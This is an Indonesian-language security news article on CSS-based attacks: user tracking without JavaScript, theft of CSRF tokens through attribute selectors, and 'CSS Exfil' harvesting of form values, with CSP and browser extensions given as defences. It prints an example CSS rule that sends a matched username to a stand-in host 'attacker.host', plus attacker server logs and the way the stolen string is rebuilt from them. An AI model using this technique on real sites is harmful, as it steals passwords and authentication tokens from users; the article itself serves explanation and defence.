Kode CSS kali ini telah menjadi alat ampuh yang dapat disalahgunakan untuk melacak pengguna di situs web, mengekstrak dan mencuri data dari halaman web, mengumpulkan data yang dimasukkan ke dalam kolom formulir (termasuk password).
Selama bulan lalu, tiga proyek penelitian yang menarik telah menangani CSS sebagai vektor serangan, menunjukkan bagaimana bahasa jinak ini bisa menjadi berbahaya bagi pengguna.
Menggunakan CSS untuk melacak pengguna di halaman
Proyek pertama yang dirilis pada topik ini adalah “Crooked Style Sheets” dari Jan Böhmer, sebuah proyek yang menyediakan solusi analisis no-JavaScript yang dapat melacak interaksi pengguna dengan elemen halaman menggunakan kode CSS saja.
Böhmer menunjukkan bahwa dia dapat melacak timestamps ketika pengguna mengakses elemen halaman, saat pengguna mengeklik tautan, saat mereka memasukkan teks yang telah ditentukan di dalam kolom masukan, dan bagaimana dia bisa mengumpulkan banyak informasi pengguna yang sebenarnya.
Menggunakan CSS untuk mencuri token CSRF
Terpisah dari pekerjaan Böhmer, peneliti keamanan Dylan Ayrey juga menerbitkan penelitian baru akhir pekan lalu, menunjukkan bagaimana penyerang dapat menyalahgunakan CSS untuk mencuri token CSRF (otentikasi pengguna).
Serangan Ayrey hanya bekerja pada situs web dan aplikasi yang membuat kesalahan besar dalam menyimpan token CSRF di atribut berbagai elemen halaman HTML, sehingga memiliki cakupan yang sangat terbatas.
Serangan ini dapat dengan mudah diatas oleh pemilik situs web/aplikasi yang menemukan cara yang lebih aman untuk mengautentikasi pengguna tanpa membuang token CSRF di dalam kode sumber halaman.
Teknik Ayrey bergantung pada kode CSS yang diinjeksikan dalam halaman web dan menggunakan pemilih atribut CSS untuk menebak token CSRF satu huruf dalam satu waktu.
Serangan memakan waktu sekitar sepuluh detik untuk dilakukan dan bahkan dapat bekerja tanpa memerlukan iframe atau tanpa arus lalu lintas yang konstan ke server yang dapat mengingatkan pengguna bahwa ada sesuatu yang salah.
Solusi ini menyiratkan penyimpanan data di Service Worker lokal, dari mana penyerang dapat mengambilnya kembali setelah token CSRF diidentifikasi dan direkonstruksi secara penuh.
Menggunakan pemilih atribut CSS lebih dari itu
Tapi penelitian Ayrey hanya menggaruk permukaan. Selama sebulan terakhir, peneliti keamanan Mike Gualtieri juga telah berupaya memanfaatkan teknik yang sama, namun untuk mencuri lebih dari sekadar token otentikasi.
Dalam penelitiannya, Gualtieri menunjukkan bagaimana teknik yang sama menggunakan pemilih atribut CSS untuk menebak konten sensitif yang tertinggal di dalam tag HTML juga dapat digunakan untuk berburu token CSRF yang salah penempatan.
Peneliti mampu menerapkan metode yang sama untuk mengumpulkan data pengguna sensitif yang dimasukkan dalam kolom form, termasuk string password.
Bagaimana semuanya bekerja
Baik metode Ayrey dan Gualtieri memanfaatkan pemilih atribut CSS, yang merupakan mekanisme yang memungkinkan pengembang mengajukan kode HTML halaman untuk atribut individual dan mencocokkan pola pada nilai mereka.
Misalnya, kode CSS berikut akan memindai halaman untuk semua elemen tautan (“a”) di mana atribut “href” berisi (karakter “*”) string “facebook” dan akan mewarnai semua tautan ini dengan warna biru.
a[href*="facebook"] {
color: blue;
}Tapi pertanyaan ini bisa menjadi lebih mengganggu, memungkinkan pengembang untuk menargetkan atribut yang dimulai atau diakhiri dengan string tertentu juga.
Kueri ini dapat dikombinasikan bersama untuk menjalankan serangan dictionary brute-force dan mencoba menebak huruf awal sebuah atribut, dan kemudian menambahkan huruf yang teridentifikasi ke pola yang telah direvisi, memungkinkan penyerang menebak huruf kedua, ketiga, dan seterusnya.
[attribute=value] [foo=bar] Selects all elements with foo="bar" [attribute~=value] [foo~=bar] Selects all elements with a foo attribute containing the word "bar" [attribute|=value] [foo|=bar] Selects all elements with a foo attribute value starting with "bar" [attribute^=value] [foo^="bar"] Selects all elements with a foo attribute value starting with "bar" [attribute$=value] [foo$="bar"] Selects all elements with a foo attribute value ending with "bar" [attribute*=value] [foo*="bar"] Selects all elements with a foo attribute which contains the substring "bar"
Caranya adalah dengan membuat permintaan HTTP server penyerang saat kode CSS berbahaya mengidentifikasi pemilih atribut parsial/penuh yang benar.
#username[value="ZeroC00L"] {
background:url("https://attacker.host/ZeroC00L");
}Seorang penyerang hanya harus menyaring server error 404 dan mengeluarkan hasil pemboman pemilih atribut CSS.
127.0.0.1 - - [30/Jan/2018:11:09:35 -0500] "GET /00 HTTP/1.1" 404 22 127.0.0.1 - - [30/Jan/2018:11:09:35 -0500] "GET /0L HTTP/1.1" 404 22 127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /Ze HTTP/1.1" 404 22 127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /Z_ HTTP/1.1" 404 22 127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /ro HTTP/1.1" 404 22 127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /oC HTTP/1.1" 404 22 127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /_L HTTP/1.1" 404 22 127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /er HTTP/1.1" 404 22 127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /C0 HTTP/1.1" 404 22
dan kemudian mengumpulkan string ke data aktual:
Z # Z_ Ze # Ze Zer # er Zero # ro ZeroC # oC ZeroC0 # C0 ZeroC00 # 00 ZeroC00L # 0L _L
Ayrey dan Gualtieri memiliki dua metode yang berbeda untuk melakukan serangan ini. Ayrey mengandalkan tebakan string satu huruf pada satu waktu, sementara Gualtieri mengambil jalan yang lebih pendek untuk merekonstruksi string itu dengan menebaknya dalam banyak bagian dan merekonstruksi istilah akhir di akhir.
Keduanya efektif. Metode Ayrey bersifat agak agresif tapi bisa otomatis sangat mudah, sedangkan metode Gualtieri lebih cepat (bisa juga otomatis) namun dalam beberapa kasus akan bergantung pada manusia yang mengumpulkan string terakhir bersama-sama.
Gualtieri menamai teknik ini CSS Exfil. Tapi CSS Exfil bukanlah metode yang tidak mungkin salah. Ini hanya bisa mencuri atribut HTML yang ditemukan di halaman pada waktu memuat, dan bukan dari kode yang diinjeksikan secara dinamis setelah pemuatan halaman awal. Gualtieri berpendapat ini bukan masalah besar, menunjukkan berbagai solusi dalam penelitiannya yang dapat digunakan oleh penyerang.
Untuk rincian lebih lanjut mengenai serangan CSS Exfil, silahkan kunjungi:
- Ayrey:Â https://github.com/dxa4481/cssInjection
- Gualtieri:Â https://www.mike-gualtieri.com/posts/stealing-data-with-css-attack-and-defense
Metode perlindungan tersedia
Perlindungan terhadap serangan CSS Exfil bisa diatur pada dua level. Pertama, situs web dan penulis aplikasi web dapat menerapkan tindakan perlindungan yang diberi nama Content Security Policy (CSP) yang akan mencegah penyerang memuat kode CSS dari sumber eksternal.
Kedua, pengguna juga dapat menginstal salah satu ekstensi Firefox atau Chrome dari Gualtieri yang dapat mendeteksi semua jenis serangan CSS Exfil yang telah didokumentasikan dalam penelitiannya dan menulis ulang kode berbahaya sebelum dijalankan.
CSS Exfil bukanlah teknik baru, yang sebelumnya pernah dibahas oleh CureSec pada tahun 2016, namun tampaknya telah menarik perhatian banyak peneliti selama bulan lalu.
